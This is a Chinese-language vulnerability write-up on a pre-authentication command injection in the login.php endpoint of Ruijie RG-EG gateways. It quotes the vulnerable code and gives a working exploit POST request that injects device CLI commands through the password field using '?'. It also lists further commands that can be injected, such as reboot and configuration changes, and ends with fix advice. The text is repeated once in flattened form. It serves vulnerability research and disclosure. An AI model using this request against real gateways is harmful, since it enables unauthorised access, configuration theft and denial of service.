一次有趣的锐捷EG易网关代码审计
字数 1382 2025-08-06 01:00:45

锐捷EG易网关前台无条件命令执行漏洞分析与复现

漏洞概述

本文详细分析了锐捷RG-EG系列出口网关Web管理端存在的前台无条件命令执行漏洞。该漏洞源于登录功能未对用户输入进行有效过滤,导致攻击者可通过构造恶意参数执行任意网关设备命令。

漏洞发现过程

1. 接口发现

通过Burp Suite抓包分析,发现登录功能接口为login.php,采用POST方式提交用户名和密码参数:

  • 参数:usernamepassword
  • 返回格式:JSON包含状态和数据

2. 代码审计

登录处理函数分析

登录处理函数主要逻辑:

  1. 接收usernamepassword参数
  2. 调用execCli()函数执行命令
  3. 根据返回结果判断登录状态

关键代码片段:

$res = execCli('exec', "webmaster $username $password");

execCli函数分析

execCli()函数参数:

  • $mode: 执行模式(此处为'exec')
  • $command: 要执行的命令
  • $answer: 应答参数

函数内部通过php_exec_cli与网关设备CLI模块通信,实际执行的是网关设备的命令行指令。

3. 命令执行机制

通过分析发现:

  • 登录验证实际上是执行webmaster username password命令
  • 该命令是锐捷网关设备的专用命令,用于验证管理员凭据
  • 由于缺乏输入过滤,攻击者可注入其他设备命令

漏洞利用

1. 命令注入原理

利用命令分隔符?可注入额外命令:

username=任意值&password=原密码?要执行的命令

实际执行的命令:

webmaster 任意值 原密码?要执行的命令

2. 利用步骤

  1. 构造恶意POST请求:

    POST /login.php HTTP/1.1
    Host: target
    Content-Type: application/x-www-form-urlencoded
    
    username=test&password=123?show version
    
  2. 服务器端实际执行:

    webmaster test 123?show version
    
  3. 响应中包含show version命令的执行结果,显示设备版本信息

3. 可利用的命令

通过查阅锐捷设备命令手册,发现可执行以下类型命令:

  • 信息查看:show versionshow running-config
  • 网络配置:interfaceip address
  • 系统管理:telnetreboot
  • 路由操作:routeospf

漏洞修复建议

  1. 输入验证:

    • usernamepassword参数进行严格过滤
    • 禁止特殊字符如?|&
  2. 命令执行防护:

    • 使用白名单机制限制可执行的命令
    • 对命令参数进行转义处理
  3. 权限控制:

    • 降低Web管理进程的执行权限
    • 实现命令执行日志审计

技术总结

  1. 漏洞成因:

    • Web接口直接拼接用户输入到设备命令中
    • 缺乏有效的输入过滤和命令限制机制
  2. 漏洞危害:

    • 获取设备敏感信息
    • 修改网络配置
    • 可能导致设备拒绝服务
  3. 审计经验:

    • 网络设备Web管理端常存在类似问题
    • 应特别关注执行设备命令的接口
    • 社工手段(如获取设备手册)有助于漏洞分析

附录:常见锐捷设备命令

命令 功能描述
show version 显示设备版本信息
show running-config 显示当前运行配置
interface 进入接口配置模式
ip address 配置IP地址
telnet 启用/禁用telnet服务
reboot 重启设备

通过本文的分析,安全研究人员可以深入了解此类网络设备Web管理端漏洞的发现和利用方法,同时也为设备厂商提供了改进安全性的参考方向。

锐捷EG易网关前台无条件命令执行漏洞分析与复现 漏洞概述 本文详细分析了锐捷RG-EG系列出口网关Web管理端存在的前台无条件命令执行漏洞。该漏洞源于登录功能未对用户输入进行有效过滤,导致攻击者可通过构造恶意参数执行任意网关设备命令。 漏洞发现过程 1. 接口发现 通过Burp Suite抓包分析,发现登录功能接口为 login.php ,采用POST方式提交用户名和密码参数: 参数: username 和 password 返回格式:JSON包含状态和数据 2. 代码审计 登录处理函数分析 登录处理函数主要逻辑: 接收 username 和 password 参数 调用 execCli() 函数执行命令 根据返回结果判断登录状态 关键代码片段: execCli函数分析 execCli() 函数参数: $mode : 执行模式(此处为'exec') $command : 要执行的命令 $answer : 应答参数 函数内部通过 php_exec_cli 与网关设备CLI模块通信,实际执行的是网关设备的命令行指令。 3. 命令执行机制 通过分析发现: 登录验证实际上是执行 webmaster username password 命令 该命令是锐捷网关设备的专用命令,用于验证管理员凭据 由于缺乏输入过滤,攻击者可注入其他设备命令 漏洞利用 1. 命令注入原理 利用命令分隔符 ? 可注入额外命令: 实际执行的命令: 2. 利用步骤 构造恶意POST请求: 服务器端实际执行: 响应中包含 show version 命令的执行结果,显示设备版本信息 3. 可利用的命令 通过查阅锐捷设备命令手册,发现可执行以下类型命令: 信息查看: show version 、 show running-config 网络配置: interface 、 ip address 系统管理: telnet 、 reboot 路由操作: route 、 ospf 漏洞修复建议 输入验证: 对 username 和 password 参数进行严格过滤 禁止特殊字符如 ? 、 | 、 & 等 命令执行防护: 使用白名单机制限制可执行的命令 对命令参数进行转义处理 权限控制: 降低Web管理进程的执行权限 实现命令执行日志审计 技术总结 漏洞成因: Web接口直接拼接用户输入到设备命令中 缺乏有效的输入过滤和命令限制机制 漏洞危害: 获取设备敏感信息 修改网络配置 可能导致设备拒绝服务 审计经验: 网络设备Web管理端常存在类似问题 应特别关注执行设备命令的接口 社工手段(如获取设备手册)有助于漏洞分析 附录:常见锐捷设备命令 | 命令 | 功能描述 | |------|----------| | show version | 显示设备版本信息 | | show running-config | 显示当前运行配置 | | interface | 进入接口配置模式 | | ip address | 配置IP地址 | | telnet | 启用/禁用telnet服务 | | reboot | 重启设备 | 通过本文的分析,安全研究人员可以深入了解此类网络设备Web管理端漏洞的发现和利用方法,同时也为设备厂商提供了改进安全性的参考方向。